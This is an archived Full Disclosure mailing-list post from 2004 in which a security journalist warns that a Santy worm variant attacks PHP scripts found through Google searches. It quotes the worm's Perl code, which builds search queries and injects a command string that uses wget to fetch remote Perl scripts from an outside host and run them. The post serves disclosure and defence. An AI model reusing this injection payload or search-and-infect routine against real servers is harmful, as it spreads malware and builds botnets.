Full Disclosure mailing list archives
New Santy-Worm attacks *all* PHP-skripts
From: Juergen Schmidt <ju () heisec de>
Date: Sat, 25 Dec 2004 18:12:21 +0100 (CET)
Hello, the new santy version not only attacks phpBB. It uses the brasilian Google site to find all kinds of PHP skripts. It parses their URLs and overwrites variables with strings like: 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget www.visualcoders.net/spybot.txt;... Often enough this leads to download and execution of code. On success the worm connects to an IRC server, where already more than 700 zombies are waiting for commands. The relevant code: --------- $procura = 'inurl:*.php?*=' . $numr; for($n=0;$n<900;$n += 10){ $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next; print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n"; ... $lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcod ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt'; $t =0; $y =0; @ja; open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt"; while (<opa>) { $ja[$t] = $_; chomp $ja[$t]; $t++; $y++; } close(opa); $t=1; while ($t < $y) { if ($ja[$t] =~/=/) { $num = rindex $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); $num = index $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); $num1 = rindex $ja[$t], '.'; $subproc = substr($ja[$t],$num1,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); } $t++; } bye, ju -- Juergen Schmidt Chefredakteur heise Security www.heisec.de Heise Zeitschriften Verlag, Helstorferstr. 7, D-30625 Hannover Tel. +49 511 5352 300 FAX +49 511 5352 417 EMail ju () heisec de GPG-Key: 0x38EA4970, 5D7B 476D 84D5 94FF E7C5 67BE F895 0A18 38EA 4970 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Re: Re: New Santy-Worm attacks *all* PHP-skripts Paul Laudanski (Dec 26)
- <Possible follow-ups>
- New Santy-Worm attacks *all* PHP-skripts Gary E. Miller (Dec 26)
- New Santy-Worm attacks *all* PHP-skripts Juergen Schmidt (Dec 29)
- Re: New Santy-Worm attacks *all* PHP-skripts Paul Laudanski (Dec 25)
- Re: New Santy-Worm attacks *all* PHP-skripts Paul Laudanski (Dec 27)
- Re: New Santy-Worm attacks *all* PHP-skripts Raistlin (Dec 26)
- Re: Re: New Santy-Worm attacks *all* PHP-skripts Paul Laudanski (Dec 26)
- Re: Re: New Santy-Worm attacks *all* PHP-skripts Steve Wray (Dec 29)
- Re: New Santy-Worm attacks *all* PHP-skripts Paul Laudanski (Dec 25)
- Re: New Santy-Worm attacks *all* PHP-skripts Pekka Savola (Dec 29)
- Re: New Santy-Worm attacks *all* PHP-skripts Juergen Schmidt (Dec 29)